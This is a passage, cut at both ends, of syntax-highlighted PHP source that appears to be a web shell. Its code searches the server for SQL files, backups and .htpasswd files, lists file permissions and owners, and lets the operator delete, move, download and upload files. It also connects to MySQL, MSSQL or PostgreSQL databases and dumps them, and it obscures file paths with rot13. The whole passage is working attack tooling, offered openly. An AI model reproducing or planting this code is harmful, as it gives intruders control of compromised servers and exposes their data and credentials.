title=<span class="string">"Example: *.sql,backup*,user-01???.ftp,.htpasswd"</span> style=<span class="string">"width:190px"</span>/> <span class="keyword">in</span> <input type=<span class="string">"text"</span> name=<span class="string">"fsp"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo empty($_POST['fsp']) ? escHTML($_SESSION['CP']) : escHTML($_POST['fsp']); ?>"</span> title=<span class="string">"Example: <?php</span></span><br><span class="line"><span class="string"> echo $d; ?>"</span> style=<span class="string">"width:440px"</span>/> <input type=<span class="string">"submit"</span> name=<span class="string">"fs"</span> value=<span class="string">"&gt;"</span>/><div style=<span class="string">"margin-top:10px; text-align:center"</span>> <span class="keyword">with</span> text <input type=<span class="string">"text"</span> name=<span class="string">"fss"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> if (!empty($_POST['fss'])) echo escHTML($_POST['fss']); ?>"</span> style=<span class="string">"width:900px"</span>/></div></form></fieldset><?php</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$a</span> = array();</span><br><span class="line"> function cn(&<span class="variable">$i1</span>, &<span class="variable">$i2</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$i1</span>[<span class="number">3</span>] == <span class="number">0</span> || <span class="variable">$i2</span>[<span class="number">3</span>] == <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$i1</span>[<span class="number">3</span>] == <span class="number">0</span> && <span class="variable">$i1</span>[<span class="number">1</span>] == <span class="string">'[ .. ]'</span>) return <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$i2</span>[<span class="number">3</span>] == <span class="number">0</span> && <span class="variable">$i2</span>[<span class="number">1</span>] == <span class="string">'[ .. ]'</span>) return <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$i1</span>[<span class="number">3</span>] != <span class="number">0</span> && <span class="variable">$i2</span>[<span class="number">3</span>] == <span class="number">0</span>) return <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$i1</span>[<span class="number">3</span>] == <span class="number">0</span> && <span class="variable">$i2</span>[<span class="number">3</span>] != <span class="number">0</span>) return <span class="number">-1</span>;</span><br><span class="line"> } elseif (<span class="variable">$i1</span>[<span class="number">2</span>] > <span class="variable">$i2</span>[<span class="number">2</span>]) return <span class="number">1</span>;</span><br><span class="line"> elseif (<span class="variable">$i1</span>[<span class="number">2</span>] < <span class="variable">$i2</span>[<span class="number">2</span>]) return <span class="number">-1</span>;</span><br><span class="line"> return <span class="variable">@strnatcmp</span>(<span class="variable">$i1</span>[<span class="number">1</span>], <span class="variable">$i2</span>[<span class="number">1</span>]);</span><br><span class="line"> }</span><br><span class="line"> function gs(<span class="variable">$p</span>, &<span class="variable">$n</span>, &<span class="variable">$a</span>) {</span><br><span class="line"> <span class="keyword">if</span> (substr(<span class="variable">$p</span>, <span class="number">-1</span>) !== <span class="title class_">DIRECTORY_SEPARATOR</span>) <span class="variable">$p</span>.= <span class="title class_">DIRECTORY_SEPARATOR</span>;</span><br><span class="line"> <span class="keyword">if</span> (!empty(<span class="variable">$_POST</span>[<span class="string">'fss'</span>])) <span class="variable">$c</span> = - <span class="number">1</span> * strlen(<span class="variable">$_POST</span>[<span class="string">'fss'</span>]);</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$t</span> = <span class="variable">@glob</span>(<span class="variable">$p</span> . <span class="variable">$n</span>, <span class="title class_">GLOB_BRACE</span>)) foreach (<span class="variable">$t</span> as <span class="variable">$v</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$_POST</span>[<span class="string">'fsr'</span>] == <span class="number">0</span> || (<span class="variable">$_POST</span>[<span class="string">'fsr'</span>] == <span class="number">1</span> && <span class="variable">@is_readable</span>(<span class="variable">$v</span>)) || (<span class="variable">$_POST</span>[<span class="string">'fsr'</span>] == <span class="number">2</span> && <span class="variable">@is_writable</span>(<span class="variable">$v</span>))) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$_POST</span>[<span class="string">'fst'</span>] != <span class="number">1</span> && empty(<span class="variable">$_POST</span>[<span class="string">'fss'</span>]) && <span class="variable">@is_dir</span>(<span class="variable">$v</span>)) {</span><br><span class="line"> <span class="variable">$tn</span> = bname(<span class="variable">$v</span>);</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$tn</span> != <span class="string">'.'</span> && <span class="variable">$tn</span> != <span class="string">'..'</span>) <span class="variable">$a</span>[] = array(</span><br><span class="line"> <span class="variable">$v</span>,</span><br><span class="line"> <span class="string">'[ '</span> . <span class="variable">$v</span> . <span class="string">' ]'</span>,</span><br><span class="line"> <span class="string">''</span>,</span><br><span class="line"> <span class="number">0</span></span><br><span class="line"> );</span><br><span class="line"> } elseif (<span class="variable">$_POST</span>[<span class="string">'fst'</span>] != <span class="number">2</span> && <span class="variable">@is_file</span>(<span class="variable">$v</span>)) {</span><br><span class="line"> <span class="keyword">if</span> (!empty(<span class="variable">$_POST</span>[<span class="string">'fss'</span>])) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$f</span> = <span class="variable">@fopen</span>(<span class="variable">$v</span>, <span class="string">'rb'</span>)) {</span><br><span class="line"> while (!feof(<span class="variable">$f</span>)) {</span><br><span class="line"> <span class="variable">$s</span> = fread(<span class="variable">$f</span>, <span class="number">1048576</span>);</span><br><span class="line"> <span class="keyword">if</span> (stripos(<span class="variable">$s</span>, <span class="variable">$_POST</span>[<span class="string">'fss'</span>])) {</span><br><span class="line"> <span class="variable">$a</span>[] = array(</span><br><span class="line"> <span class="variable">$v</span>,</span><br><span class="line"> <span class="variable">$v</span>,</span><br><span class="line"> <span class="string">''</span>,</span><br><span class="line"> <span class="number">1</span></span><br><span class="line"> );</span><br><span class="line"> break;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (!feof(<span class="variable">$f</span>)) <span class="variable">@fseek</span>(<span class="variable">$f</span>, <span class="variable">$c</span>, <span class="title class_">SEEK_CUR</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">@fclose</span>(<span class="variable">$f</span>);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> <span class="variable">$a</span>[] = array(</span><br><span class="line"> <span class="variable">$v</span>,</span><br><span class="line"> <span class="variable">$v</span>,</span><br><span class="line"> <span class="string">''</span>,</span><br><span class="line"> <span class="number">1</span></span><br><span class="line"> );</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$t</span> = <span class="variable">@glob</span>(<span class="variable">$p</span> . <span class="string">'*'</span>, <span class="title class_">GLOB_ONLYDIR</span>)) foreach (<span class="variable">$t</span> as <span class="variable">$v</span>) gs(<span class="variable">$v</span>, <span class="variable">$n</span>, <span class="variable">$a</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$a</span> = array();</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'fs'</span>])) {</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'fsn'</span>])) {</span><br><span class="line"> <span class="variable">$n</span> = (<span class="variable">$_POST</span>[<span class="string">'fsn'</span>] == <span class="string">'*'</span>) ? <span class="string">'{.,}*'</span> : <span class="string">'{'</span> . <span class="variable">$_POST</span>[<span class="string">'fsn'</span>] . <span class="string">'}'</span>;</span><br><span class="line"> <span class="variable">$p</span> = explode(<span class="string">';'</span>, <span class="variable">$_POST</span>[<span class="string">'fsp'</span>]);</span><br><span class="line"> foreach (<span class="variable">$p</span> as <span class="variable">$v</span>) gs(<span class="variable">$v</span>, <span class="variable">$n</span>, <span class="variable">$a</span>);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">@is_readable</span>(<span class="variable">$_SESSION</span>[<span class="string">'CP'</span>])) {</span><br><span class="line"> <span class="variable">$d</span> = <span class="variable">@opendir</span>(<span class="variable">$_SESSION</span>[<span class="string">'CP'</span>]);</span><br><span class="line"> while (<span class="title class_">FALSE</span> !== (<span class="variable">$v</span> = <span class="variable">@readdir</span>(<span class="variable">$d</span>))) {</span><br><span class="line"> <span class="variable">$p</span> = <span class="variable">@realpath</span>(<span class="variable">$_SESSION</span>[<span class="string">'CP'</span>] . <span class="variable">$v</span>);</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">@is_dir</span>(<span class="variable">$p</span>)) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$v</span> != <span class="string">'.'</span>) <span class="variable">$a</span>[] = array(</span><br><span class="line"> <span class="variable">$p</span>,</span><br><span class="line"> <span class="string">'[ '</span> . <span class="variable">$v</span> . <span class="string">' ]'</span>,</span><br><span class="line"> <span class="string">'[ DIR ]'</span>,</span><br><span class="line"> <span class="number">0</span></span><br><span class="line"> );</span><br><span class="line"> } elseif (<span class="variable">@is_file</span>(<span class="variable">$p</span>)) {</span><br><span class="line"> <span class="variable">$i</span> = strrpos(<span class="variable">$v</span>, <span class="string">'.'</span>);</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$i</span> > <span class="number">0</span>) <span class="variable">$a</span>[] = array(</span><br><span class="line"> <span class="variable">$p</span>,</span><br><span class="line"> substr(<span class="variable">$v</span>, <span class="number">0</span>, <span class="variable">$i</span>) ,</span><br><span class="line"> substr(<span class="variable">$v</span>, <span class="variable">$i</span> + <span class="number">1</span>) ,</span><br><span class="line"> <span class="number">1</span></span><br><span class="line"> );</span><br><span class="line"> <span class="keyword">else</span> <span class="variable">$a</span>[] = array(</span><br><span class="line"> <span class="variable">$p</span>,</span><br><span class="line"> <span class="variable">$v</span>,</span><br><span class="line"> <span class="string">''</span>,</span><br><span class="line"> <span class="number">1</span></span><br><span class="line"> );</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="variable">$a</span>[] = array(</span><br><span class="line"> <span class="variable">$p</span>,</span><br><span class="line"> <span class="variable">$v</span>,</span><br><span class="line"> <span class="string">''</span>,</span><br><span class="line"> <span class="number">1</span></span><br><span class="line"> );</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">@closedir</span>(<span class="variable">$d</span>);</span><br><span class="line"> <span class="variable">@uasort</span>(<span class="variable">$a</span>, cn);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (!empty(<span class="variable">$a</span>)) { ?><script> function sv(t){t.value=t.parentNode.parentNode.firstChild.firstChild.value;} function del(t){<span class="keyword">if</span>(confirm(<span class="string">'Do you really want to delete this file?'</span>)){t.value=t.parentNode.parentNode.firstChild.firstChild.value;return <span class="literal">true</span>;}return <span class="literal">false</span>;} function gf(t){var v=document.createElement(<span class="string">'input'</span>),f=document.getElementById(<span class="string">'ff'</span>);v.type=<span class="string">'hidden'</span>;v.name=<span class="string">'fpr'</span>;v.value=t.parentNode.firstChild.firstChild.value;f.appendChild(v);f.submit();} </script><form action=<span class="string">""</span>method=<span class="string">"post"</span>id=<span class="string">"ff"</span>><input type=<span class="string">"hidden"</span>name=<span class="string">"fe"</span>/><table id=<span class="string">"listf"</span>><tr><th width=<span class="string">"20px"</span>><input type=<span class="string">"checkbox"</span>onclick=<span class="string">"ca(this.checked,'ff')"</span>/></th><th><span class="title class_">Name</span></th><?php</span><br><span class="line"> <span class="keyword">if</span> (!isset(<span class="variable">$_POST</span>[<span class="string">'fs'</span>])) echo <span class="string">'<th width="50px">Ext</th>'</span>; ?><th width=<span class="string">"90px"</span>><span class="title class_">Size</span> (kB)</th><th width=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo isset($_POST['fs']) ? '130' : '140'; ?>px"</span>><span class="title class_">Modified</span></th><th width=<span class="string">"140px"</span>><span class="title class_">Owner</span></th><th width=<span class="string">"55px"</span>><span class="title class_">Perms</span></th><th width=<span class="string">"140px"</span>><span class="title class_">Actions</span></th></tr><?php</span><br><span class="line"> foreach (<span class="variable">$a</span> as <span class="variable">$n</span> => <span class="variable">$v</span>) {</span><br><span class="line"> <span class="variable">$s</span> = <span class="variable">@stat</span>(<span class="variable">$v</span>[<span class="number">0</span>]);</span><br><span class="line"> <span class="variable">$r</span> = escHTML(str_rot13(<span class="variable">$v</span>[<span class="number">0</span>]));</span><br><span class="line"> <span class="variable">$i</span> = (<span class="variable">$v</span>[<span class="number">3</span>] == <span class="number">0</span> && <span class="variable">$v</span>[<span class="number">1</span>] == <span class="string">'[ .. ]'</span>);</span><br><span class="line"> echo <span class="string">'<tr><td><input type="'</span>, (<span class="variable">$i</span> ? <span class="string">'hidden'</span> : <span class="string">'checkbox"name="fc[]'</span>) , <span class="string">'"value="'</span>, <span class="variable">$r</span>, <span class="string">'"/>'</span>;</span><br><span class="line"> echo <span class="string">'</td><td onclick="gf(this);"'</span>;</span><br><span class="line"> <span class="keyword">if</span> (!empty(<span class="variable">$_SESSION</span>[<span class="string">'MO'</span>][<span class="variable">$v</span>[<span class="number">0</span>]])) echo <span class="string">'style="text-decoration:line-through"'</span>;</span><br><span class="line"> elseif (!empty(<span class="variable">$_SESSION</span>[<span class="string">'CO'</span>][<span class="variable">$v</span>[<span class="number">0</span>]])) echo <span class="string">'style="text-decoration:underline"'</span>;</span><br><span class="line"> echo <span class="string">'>'</span>, escHTML(<span class="variable">$v</span>[<span class="number">1</span>]) , <span class="string">'</td>'</span>;</span><br><span class="line"> <span class="keyword">if</span> (!isset(<span class="variable">$_POST</span>[<span class="string">'fs'</span>])) echo <span class="string">'<td>'</span>, escHTML(<span class="variable">$v</span>[<span class="number">2</span>]) , <span class="string">'</td>'</span>;</span><br><span class="line"> echo <span class="string">'<td align="right">'</span>, (<span class="variable">$v</span>[<span class="number">3</span>] == <span class="number">0</span>) ? <span class="string">'[ DIR ]'</span> : <span class="variable">@number_format</span>(<span class="variable">$s</span>[<span class="number">7</span>] / <span class="number">1024</span>, <span class="number">3</span>, <span class="string">'.'</span>, <span class="string">''</span>) , <span class="string">'</td><td align="center"'</span>;</span><br><span class="line"> echo <span class="string">'>'</span>, <span class="variable">@date</span>(isset(<span class="variable">$_POST</span>[<span class="string">'fs'</span>]) ? <span class="string">'y-m-d H:i:s'</span> : <span class="string">'Y-m-d H:i:s'</span>, <span class="variable">$s</span>[<span class="number">9</span>]) , <span class="string">'</td><td align="center">'</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="title class_">PE</span>) {</span><br><span class="line"> <span class="variable">$t</span> = <span class="variable">@posix_getpwuid</span>(<span class="variable">$s</span>[<span class="number">4</span>]);</span><br><span class="line"> echo <span class="variable">$t</span>[<span class="string">'name'</span>];</span><br><span class="line"> } elseif (!empty(<span class="variable">$ui</span>[<span class="variable">$s</span>[<span class="number">4</span>]])) echo <span class="variable">$ui</span>[<span class="variable">$s</span>[<span class="number">4</span>]];</span><br><span class="line"> <span class="keyword">else</span> echo <span class="variable">$s</span>[<span class="number">4</span>];</span><br><span class="line"> echo <span class="string">'/'</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="title class_">PE</span>) {</span><br><span class="line"> <span class="variable">$t</span> = <span class="variable">@posix_getgrgid</span>(<span class="variable">$s</span>[<span class="number">5</span>]);</span><br><span class="line"> echo <span class="variable">$t</span>[<span class="string">'name'</span>];</span><br><span class="line"> } elseif (!empty(<span class="variable">$gi</span>[<span class="variable">$s</span>[<span class="number">5</span>]])) echo <span class="variable">$gi</span>[<span class="variable">$s</span>[<span class="number">5</span>]];</span><br><span class="line"> <span class="keyword">else</span> echo <span class="variable">$s</span>[<span class="number">5</span>];</span><br><span class="line"> echo <span class="string">'</td><td style="text-align:center;'</span>, <span class="variable">@is_writable</span>(<span class="variable">$v</span>[<span class="number">0</span>]) ? <span class="string">'color:green'</span> : (<span class="variable">@is_readable</span>(<span class="variable">$v</span>[<span class="number">0</span>]) ? <span class="string">''</span> : <span class="string">'color:red'</span>) , <span class="string">'">'</span>, substr(sprintf(<span class="string">'%o'</span>, <span class="variable">@fileperms</span>(<span class="variable">$v</span>[<span class="number">0</span>])) , <span class="number">-5</span>) , <span class="string">'</td><td align="center">'</span>;</span><br><span class="line"> <span class="keyword">if</span> (!<span class="variable">$i</span>) { ?><button type=<span class="string">"submit"</span>name=<span class="string">"fd"</span>onclick=<span class="string">"return del(this)"</span>><span class="title class_">Del</span></button> <button type=<span class="string">"submit"</span>name=<span class="string">"fm"</span>onclick=<span class="string">"sv(this)"</span>><span class="title class_">Move</span></button> <button type=<span class="string">"submit"</span>name=<span class="string">"fcf"</span>onclick=<span class="string">"sv(this)"</span>><span class="title class_">Copy</span></button> <button type=<span class="string">"submit"</span>name=<span class="string">"fdw"</span>onclick=<span class="string">"sv(this)"</span>><span class="title class_">Get</span></button><?php</span><br><span class="line"> }</span><br><span class="line"> echo <span class="string">'</td></tr>'</span>;</span><br><span class="line"> } ?><tr><th colspan=<span class="string">"4"</span> align=<span class="string">"left"</span>>&nbsp;<span class="title class_">With</span> selected : <input type=<span class="string">"submit"</span> name=<span class="string">"fda"</span> value=<span class="string">"Delete"</span> onclick=<span class="string">"return confirm('Do you really want to delete selected files?')"</span>/> <input type=<span class="string">"submit"</span> name=<span class="string">"fma"</span> value=<span class="string">"Move"</span>/> <input type=<span class="string">"submit"</span> name=<span class="string">"fca"</span> value=<span class="string">"Copy"</span>/> <input type=<span class="string">"submit"</span> name=<span class="string">"fdwa"</span> value=<span class="string">"Download"</span>/></th><th colspan=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo isset($_POST['fs']) ? 3 : 4; ?>"</span> align=<span class="string">"right"</span>><?php</span><br><span class="line"> <span class="keyword">if</span> (!isset(<span class="variable">$_POST</span>[<span class="string">'fs'</span>]) && (!empty(<span class="variable">$_SESSION</span>[<span class="string">'CO'</span>]) || !empty(<span class="variable">$_SESSION</span>[<span class="string">'MO'</span>]))) echo <span class="string">'With '</span>, <span class="variable">@count</span>(<span class="variable">$_SESSION</span>[<span class="string">'CO'</span>]) + <span class="variable">@count</span>(<span class="variable">$_SESSION</span>[<span class="string">'MO'</span>]) , <span class="string">' objects in buffer : <input type="submit" name="fbc" value="Clean"/>'</span>, <span class="variable">@is_writable</span>(<span class="variable">$_SESSION</span>[<span class="string">'CP'</span>]) ? <span class="string">' <input type="submit" name="fbp" value="Paste"/>'</span> : <span class="string">''</span>; ?></th></tr></table></form><fieldset style=<span class="string">"text-align:center"</span>><form action=<span class="string">""</span> method=<span class="string">"post"</span>><span class="title class_">Rename</span> <input type=<span class="string">"text"</span> name=<span class="string">"frs"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo escHTML($_SESSION['CP']); ?>"</span> style=<span class="string">"width:435px"</span>/> to <input type=<span class="string">"text"</span> name=<span class="string">"frd"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo escHTML($_SESSION['CP']); ?>"</span> style=<span class="string">"width:435px"</span>/> <input type=<span class="string">"submit"</span> name=<span class="string">"fe"</span> value=<span class="string">"&gt;"</span>/></form></fieldset><?php</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">@is_writable</span>(<span class="variable">$_SESSION</span>[<span class="string">'CP'</span>])) { ?><fieldset style=<span class="string">"float:left; width:480px; text-align:center"</span>><form action=<span class="string">""</span> method=<span class="string">"post"</span>><span class="title class_">Create</span> <select name=<span class="string">"t"</span>><option value=<span class="string">"f"</span>>file&nbsp;</option><option value=<span class="string">"d"</span>>dir</option></select> : <input type=<span class="string">"text"</span> name=<span class="string">"fn"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo escHTML($_SESSION['CP']); ?>"</span> style=<span class="string">"width:335px"</span>/> <input type=<span class="string">"submit"</span> name=<span class="string">"fe"</span> value=<span class="string">"&gt;"</span>/></form></fieldset><fieldset style=<span class="string">"float:right; width:480px; text-align:center; clear:bottom"</span>><form action=<span class="string">""</span> method=<span class="string">"post"</span> enctype=<span class="string">"multipart/form-data"</span>><input type=<span class="string">"file"</span> name=<span class="string">"fu[]"</span> size=<span class="string">"55"</span> multiple=<span class="string">"multiple"</span> style=<span class="string">"width:410px"</span>/> <input type=<span class="string">"submit"</span> name=<span class="string">"fe"</span> value=<span class="string">"upload"</span>/></form></fieldset><?php</span><br><span class="line"> }</span><br><span class="line"> } elseif (!isset(<span class="variable">$_POST</span>[<span class="string">'fs'</span>]) || isset(<span class="variable">$_POST</span>[<span class="string">'fsn'</span>])) sm(<span class="string">'Can\'t find any file. Sorry.'</span>, <span class="string">'e'</span>);</span><br><span class="line"> }</span><br><span class="line">} elseif (isset(<span class="variable">$_POST</span>[<span class="string">'se'</span>])) {</span><br><span class="line"> <span class="variable">$c</span> = array(</span><br><span class="line"> <span class="string">'tp'</span> => <span class="string">''</span>,</span><br><span class="line"> <span class="string">'ha'</span> => <span class="string">'localhost'</span>,</span><br><span class="line"> <span class="string">'hp'</span> => <span class="string">''</span>,</span><br><span class="line"> <span class="string">'un'</span> => <span class="string">''</span>,</span><br><span class="line"> <span class="string">'up'</span> => <span class="string">''</span>,</span><br><span class="line"> <span class="string">'db'</span> => <span class="string">''</span></span><br><span class="line"> );</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'sc'</span>])) <span class="variable">$c</span> = <span class="variable">$_POST</span>[<span class="string">'sc'</span>];</span><br><span class="line"> elseif (isset(<span class="variable">$_SESSION</span>[<span class="string">'DB'</span>])) <span class="variable">$c</span> = <span class="variable">$_SESSION</span>[<span class="string">'DB'</span>];</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'sd'</span>])) {</span><br><span class="line"> <span class="variable">$c</span>[<span class="string">'db'</span>] = <span class="variable">$_POST</span>[<span class="string">'sd'</span>];</span><br><span class="line"> <span class="variable">$c</span>[<span class="string">'tn'</span>] = <span class="string">''</span>;</span><br><span class="line"> } elseif (isset(<span class="variable">$_POST</span>[<span class="string">'st'</span>])) <span class="variable">$c</span>[<span class="string">'tn'</span>] = <span class="variable">$_POST</span>[<span class="string">'st'</span>];</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'so'</span>])) <span class="variable">$c</span>[<span class="string">'sl'</span>] = <span class="variable">$_POST</span>[<span class="string">'so'</span>];</span><br><span class="line"> <span class="keyword">if</span> (!isset(<span class="variable">$c</span>[<span class="string">'tn'</span>])) <span class="variable">$c</span>[<span class="string">'tn'</span>] = <span class="string">''</span>;</span><br><span class="line"> <span class="keyword">if</span> (!isset(<span class="variable">$c</span>[<span class="string">'sl'</span>])) <span class="variable">$c</span>[<span class="string">'sl'</span>] = <span class="number">10</span>; ?><fieldset><form action=<span class="string">""</span> method=<span class="string">"post"</span> align=<span class="string">"center"</span>><span class="title class_">Type</span> : <select name=<span class="string">"sc[tp]"</span>><?php</span><br><span class="line"> <span class="variable">$t</span> = array(</span><br><span class="line"> <span class="string">'mysql'</span> => <span class="string">'MySQL'</span>,</span><br><span class="line"> <span class="string">'mssql'</span> => <span class="string">'MSSQL'</span>,</span><br><span class="line"> <span class="string">'pg'</span> => <span class="string">'PostgreSQL'</span></span><br><span class="line"> );</span><br><span class="line"> foreach (<span class="variable">$t</span> as <span class="variable">$k</span> => <span class="variable">$v</span>) <span class="keyword">if</span> (<span class="variable">@function_exists</span>(<span class="variable">$k</span> . <span class="string">'_connect'</span>)) {</span><br><span class="line"> echo <span class="string">'<option value="'</span>, <span class="variable">$k</span>, <span class="string">'"'</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$c</span>[<span class="string">'tp'</span>] == <span class="variable">$k</span>) echo <span class="string">' selected="selected"'</span>;</span><br><span class="line"> echo <span class="string">'>'</span>, <span class="variable">$v</span>, <span class="string">'&nbsp;</option>'</span>;</span><br><span class="line"> } ?></select> <span class="title class_">Host</span> : <input type=<span class="string">"text"</span> name=<span class="string">"sc[ha]"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo escHTML($c['ha']); ?>"</span> style=<span class="string">"width:150px"</span>/><span class="symbol">:<input</span> type=<span class="string">"text"</span> name=<span class="string">"sc[hp]"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo $c['hp']; ?>"</span> style=<span class="string">"width:45px"</span>/> <span class="title class_">User</span> : <input type=<span class="string">"text"</span> name=<span class="string">"sc[un]"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo escHTML($c['un']); ?>"</span> style=<span class="string">"width:130px"</span>/> <span class="title class_">Password</span> : <input type=<span class="string">"text"</span> name=<span class="string">"sc[up]"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo escHTML($c['up']); ?>"</span> style=<span class="string">"width:130px"</span>/> <span class="title class_">DB</span> : <input type=<span class="string">"text"</span> name=<span class="string">"sc[db]"</span> value=<span class="string">"<?php</span></span><br><span class="line"><span class="string"> echo escHTML($c['db']); ?>"</span> style=<span class="string">"width:130px"</span>/> <input type=<span class="string">"submit"</span> name=<span class="string">"se"</span> value=<span class="string">"&gt;"</span>/></form></fieldset><?php</span><br><span class="line"> <span class="keyword">if</span> (!empty(<span class="variable">$c</span>[<span class="string">'tp'</span>])) {</span><br><span class="line"> <span class="variable">$s</span> = new sc();</span><br><span class="line"> <span class="variable">$s</span>->init(<span class="variable">$c</span>[<span class="string">'tp'</span>]);</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$s</span>->cn(<span class="variable">$c</span>[<span class="string">'ha'</span>], <span class="variable">$c</span>[<span class="string">'hp'</span>], <span class="variable">$c</span>[<span class="string">'un'</span>], <span class="variable">$c</span>[<span class="string">'up'</span>])) {</span><br><span class="line"> <span class="variable">$_SESSION</span>[<span class="string">'DB'</span>] = <span class="variable">$c</span>; ?><div style=<span class="string">"float:left; margin-left:3px; margin-top:4px; width:235px;"</span>><form action=<span class="string">""</span> method=<span class="string">"post"</span> id=<span class="string">"fd"</span>><input type=<span class="string">"hidden"</span> name=<span class="string">"se"</span>/><table class=<span class="string">"lists"</span> id=<span class="string">"fd"</span>><tr><th width=<span class="string">"20px"</span>><input type=<span class="string">"checkbox"</span> onclick=<span class="string">"ca(this.checked, 'fd')"</span>/></th><th><span class="title class_">Databases</span> <span class="symbol">:</th></tr><</span>?php</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$s</span>->ld()) {</span><br><span class="line"> <span class="variable">$i</span> = <span class="number">0</span>;</span><br><span class="line"> while (<span class="variable">$v</span> = <span class="variable">$s</span>->fv(<span class="variable">$i</span>++)) echo <span class="string">'<tr><td><input type="checkbox" name="cd[]" value="'</span>, <span class="variable">$v</span>, <span class="string">'"/></td><td><input type="submit" name="sd" value="'</span>, <span class="variable">$v</span>, <span class="string">'"/></td></tr>'</span>;</span><br><span class="line"> } ?><tr><th colspan=<span class="string">"2"</span>><input type=<span class="string">"submit"</span> name=<span class="string">"sdd"</span> value=<span class="string">"Dump"</span>/></th></tr></table></form><?php</span><br><span class="line"> <span class="keyword">if</span> (!empty(<span class="variable">$c</span>[<span class="string">'db'</span>])) <span class="variable">$s</span>->sd(<span class="variable">$c</span>[<span class="string">'db'</span>]);</span><br><span class="line"> <span class="keyword">if</span> (!empty(<span class="variable">$c</span>[<span class="string">'db'</span>]) && <span class="variable">$r</span> = <span class="variable">$s</span>->lt(<span class="variable">$c</span>[<span class="string">'db'</span>])) {</span><br><span class="line"> <span class="variable">$ts</span> = array(); ?><br/><form action=<span class="string">""</span> method=<span class="string">"post"</span> id=<span class="string">"ft"</span>><input type=<span class="string">"hidden"</span> name=<span class="string">"se"</span>/><table class=<span class="string">"lists"</span>><tr><th width=<span class="string">"20px"</span>><input type=<span class="string">"checkbox"</span> onclick=<span class="string">"ca(this.checked, 'ft')"</span>/></th><th>[ <?php</span><br><span class="line"> echo <span class="variable">$c</span>[<span class="string">'db'</span>]; ?> ]</th></tr><?php</span><br><span class="line"> <span class="variable">$i</span> = <span class="number">0</span>;</span><br><span class="line"> while (<span class="variable">$v</span> = <span class="variable">$s</span>->fv(<span class="variable">$i</span>++, <span class="variable">$r</span>)) {</span><br><span class="line"> <span class="variable">$ts</span>[<span class="variable">$v</span>] = <span class="variable">$s</span>->ts(<span class="variable">$c</span>[<span class="string">'db'</span>], <span class="variable">$v</span>);</span><br><span class="line"> echo <span class="string">'<tr><td><input type="checkbox" name="ct[]" value="'</span>, <span class="variable">$v</span>, <span class="string">'"/></td><td><input type="submit" name="st" value="'</span>, <span class="variable">$v</span>, <span class="string">'"/><div>'</span>, <span class="variable">$ts</span>[<span class="variable">$v</span>], <span class="string">'</div></td></tr>'</span>;</span><br><span class="line"> } ?><tr><th colspan=<span class="string">"2"</span>><input type=<span class="string">"submit"</span> name=<span class="string">"sdt"</span> value=<span class="string">"Dump"</span>/></th></tr></table></form><?php</span><br><span class="line"> } ?></div><?php</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$_POST</span>[<span class="string">'sq'</span>])) {</span><br><span class="line"> <span class="variable">$q</span> = <span class="variable">$_POST</span>[<span class="string">'sq'</span>];</span><br><span class="line"> <span class="variable">$c</span>[<span class="string">'tn'</span>] = <span class="string">''</span>;</span><br><span class="line"> } elseif (!empty(<span class="variable">$c</span>[<span class="string">'tn'</span>])) {</span><br><span class="line"> <span class="variable">$p</span> = isset(<span class="variable">$_POST</span>[<span class="string">'sp'</span>]) ? <span class="variable">$_POST</span>[<span class="string">'sp'</span>] : <span class="number">1</span>;</span><br><span class="line"> <span class="variable">$q</span> = <span class="variable">$s</span>->ql(<span class="variable">$c</span>[<span class="string">'db'</span>], <span class="variable">$c</span>[<span 